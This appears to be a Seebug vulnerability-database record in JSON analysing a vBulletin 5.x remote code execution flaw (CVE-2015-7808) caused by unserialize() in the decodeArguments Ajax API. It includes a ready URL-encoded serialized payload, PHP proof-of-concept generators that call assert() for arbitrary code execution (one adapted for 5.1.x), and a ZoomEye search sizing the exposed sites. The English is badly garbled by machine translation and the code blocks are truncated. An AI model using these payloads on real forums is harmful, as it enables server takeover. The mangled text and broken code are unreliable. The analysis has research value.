{"description": "Summary: \nvBulletin is a forum application kit, it uses PHP to write. The exploit decodeArguments Ajax API executing the php code, you can direct the code to get the Server Permissions.\n\nDetails: \n### unserialize() combat of vBulletin 5. x. x Remote Code Execution \\--- #### Author: RickGray (know Chong Yu 404 security lab) the \nRecently, the vBulletin one RCE use and a brief analysis is the exposure, to produce the vulnerability of the reason stems from the vBulletin program in processing the Ajax API call, use the `unserialize()` on the argument values passed to the deserialize operation, resulting in an attacker using a carefully constructed Payload directly lead to code execution. About PHP deserialization vulnerability issue can refer to OWASP [the PHP Object Injection of](https://www.owasp.org/index.php/PHP_Object_Injection a). Use [SIC](http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq) to provide the Payload can be directly on the affected site to perform on `the phpinfo(1)`: The ! [](http://images.sebug.net/1446800847010) The specific Payload configuration process is also hereinafter referred to, but the author in the vBulletin 5.1. x version for testing, found that the original Payload does not succeed, is very puzzled. However, in-depth analysis, found in the specific use of time also requires a combination of the vBulletin program itself some of the code structure to get a more common Payload, the following analysis will be able to understand. ### A, deserialization trigger Point Tracking Although this vulnerability `unserialize()` function of the trigger in the exposure of the article has been described very clearly, and the entire key code that triggered the process were also described, but in-depth tracking and analysis, but there are still noteworthy and a place to study. http://172.16.96.130/ajax/api/hook/decodeArguments? arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D By observing the service end of the process PHP call stack, we can see the service end in the processing of the above-mentioned request, will `ajax/api/hook/decodeArguments` as the route parameter `$_REQUEST['routestring']` is passed to the address of the routing process. Due to its compliance with the `ajax/api/[controller]/[method]` Ajax API request routing format, will then call `vB5_Frontend_ApplicationLight` instance `handleAjaxApi()` function to be the corresponding module is loaded and calls the processing function: `` php protected function handleAjaxApi() { $routeInfo = explode('/', $_REQUEST['routestring']); if (count($routeInfo) < 4) { throw new vB5_Exception_Api('ajax', 'api', array(), 'contains an'); } $params = array_merge($_POST, $_GET); $this->sendAsJson(Api_InterfaceAbstract::instance(Api_InterfaceAbstract::API_LIGHT)->callApi($routeInfo[2], $routeInfo[3], $params, true)); } `` Request `ajax/api/hook/decodeArguments` will instantiate a `hook` class and then call the `decodeArguments()` function, the original mentioned in the trigger point you here: `` php public function decodeArguments($arguments) { if ($args = @unserialize($arguments)) { $result = \"; foreach ($args AS $varname => $value) { $result .= $varname; `` Through deserialization, we can so that it can generate in the implementation of the environmental context has been defined the instance of the class, and by finding one containing the `__wakeup()` or `__destruct()` magic method there is a problem of the class to use. Then the original texts mentioned the use of the method is not thus, the use of which is inherited from the PHP iterator type `vB_dB_Result` class, due to the `$args = @unserialize($arguments)` produces a iterator `vB_dB_Result` class instance, so back to the `foreach` operation will first call its `rewind()` function. While in the `rewind()` function in the process, according to the instance variable status call: `` php public function rewind() { if ($this->recordset) { $this->db->free_result($this->recordset); } `` Here you can by the deserialization to control The `$this->recordset` value, and `$this->db->free_result` will eventually call: `` php function free_result($queryresult) { $this->sql = \"; return @$this->functions['free_result']($queryresult); } `` `$this->functions['free_result']` the original initialization value of `mysql_free_result`, but due to the deserialization of the reason, we can also control the `vB_dB_Result` class instance of `db` member, change its corresponding `functions['free_result']` as we want to perform a function, and therefore an arbitrary code execution. ### Second, using analysis and improvement Look at the original text provided in the Payload to construct a PoC of: `` php functions['free_result'] = 'phpinfo'; } } class vB_dB_Result { protected $db; protected $recordset; public function __construct() { $this->db = new vB_Database(); $this->recordset = 1; } } print urlencode(serialize(new vB_dB_Result())) . \"\\n\"; `` Through the first part of the analysis, we have been clear throughout the vulnerability of the function call process and the reasons, and also had been informed which parameters can be controlled and utilized. Therefore here we modify the `$this->functions['free_result'] = 'assert';` and `$this->recordset = 'var_dump(md5(1))';`, and ultimately remote code execution of the function will be `assert('var_dump(md5(1))')` of: ! [](http://images.sebug.net/1446800913619) This time in fact, the RCE has been very successful, but during the time of the test but found that the original text provided by PoC can only reproduce the 5.0. x version of vBulletin, and 5.1. x version can not. By local to build a test environment and using the same PoC to test, found in 5.1. x version in the `vB_Database` is defined as an abstract class: `` php abstract class vB_Database { /** * The type of result set to return from the database for a specific row. */ `` An abstract class is not directly instantiated, the text provided by PoC is instantiated `vB_Database` class as `vB_dB_Result` iterator member `db` value in the service end of the deserialize will be because of the need to recover an instance of an abstract class which led to failure: ! [](http://images.sebug.net/1446800931692) That's why in 5.1. x version on the PoC will be unsuccessful reasons. Then to solve this problem is also very easy, by tracking the call stack, find the program in the reverse sequence of an undefined class will call the program registered in the `autoload()` method to dynamically load the class file. Here vBulletin will in turn call `includes/vb5/autoloader.php` in `_autoload` method and the `core/vb/vb.php` in the `autoload()` method, the successful loading of that return, fails to deserialization failure. So in order to continue to use the original PoC of the idea to let the deserialization will execute `$this->db->free_result($this->recordset);` you need to find a successor to the `vB_Database` abstract class sub-class and its source file path can be in the autoload process gets loaded. Through the search, found the following class inherits from `vB_Database` abstract class and its source code corresponding to the path: ! [](http://images.sebug.net/1446800938697) And the final code to autoload when parsing the passed class name to the dynamic structure attempts to load the source code file path: `` php ...Omitted $fname = str_replace('_', '/', via strtolower($class)) . '. php'; foreach (self::$_paths AS $path) { if (file_exists($path . $fname)) { include($path . $fname); if (class_exists($class, false)) { return true; } `` The above code is present in the first call to the `__autoload ()`, can be seen to provide the class name with `_` to split, the dynamic structure of the load path of the second autoload() of the process is substantially the same as simple analysis it can be found only in the deserialized `vB_Database_MySQL` and `vB_Database_MySQLi` both based on the `vB_Database` abstract class the sub-class, to the success of dynamic loading its class definition where the source code file so that the deserialization successful implementation, and ultimately to control parameters for arbitrary code execution. So, for 5.1. x version of vBulletin PoC can be obtained, using `vB_Database_MySQL` or `vB_Database_MySQLi` as the iterator `vB_dB_Result` members `db` value. Specific PoC is as follows: `` php functions['free_result'] = 'assert'; } } class vB_dB_Result { protected $db; protected $recordset; public function __construct() { $this->db = new vB_Database_MySQL(); $this->recordset = 'print(\"This Vuln In 5.1.7\")'; } } print urlencode(serialize(new vB_dB_Result())) . \"\\n\"; `` Test, the successful implementation of the `assert('print(\"This Vuln In 5.1.7\")')` of: ! [](http://images.sebug.net/1446800947377) Of course, the PoC more than the above provided that a written for informational purposes only. ### Third, the summary The vBulletin 5. x. x RCE vulnerability exposure, from finding the trigger point to the object of the search, and then to the various auto-load the details, I have to say is a very good PHP deserialization vulnerability practical examples. Not carefully to analyze really can't find the original author's clarity of thought and program familiarity. In addition, the[Check Point](http://blog.checkpoint.com/) on its official blog also published a deserialization of another using the point, by deserializing a stencil object for the final call to `eval()` function is executed[SIC](http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/). the #### Scope of impact: By ZoomEye search: http://www.zoomeye.org/search?q=app:vbulletin ! [](http://images.sebug.net/1446694947957) You can search for the At least 60764 a site using vBulltin it. ### Reference * [http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq](http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq) * [https://www.owasp.org/index.php/PHP_Object_Injection](https://www.owasp.org/index.php/PHP_Object_Injection) * [http://php.net/manual/en/class.iterator.php](http://php.net/manual/en/class.iterator.php) * [http://www.php.net/manual/en/function.autoload.php](http://www.php.net/manual/en/function.autoload.php) * [http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/](http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/) * [http://www.sebug.net/vuldb/ssvid-89707](http://www.sebug.net/vuldb/ssvid-89707) Original source: [http://blog.knownsec.com/2015/11/unserialize-exploit-with-vbulletin-5-x-x-remote-code-execution/](http://blog.knownsec.com/2015/11/unserialize-exploit-with-vbulletin-5-x-x-remote-code-execution/)\n", "edition": 1, "title": "vBulletin 5. x. x Remote arbitrary code execution vulnerability", "references": [], "cvss": {"vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/", "score": 7.5}, "href": "https://www.seebug.org/vuldb/ssvid-89707", "history": [], "published": "2015-11-05T00:00:00", "type": "seebug", "lastseen": "2016-07-26T04:17:11", "objectVersion": "1.0", "hash": "9acf518f0fb4b40cdbc7943747e5e4c58f7808cfc7b63e6a904107fbfcf2288a", "reporter": "Root", "modified": "2015-11-05T00:00:00", "cvelist": ["CVE-2015-7808"], "bulletinFamily": "exploit", "id": "SSV-89707"}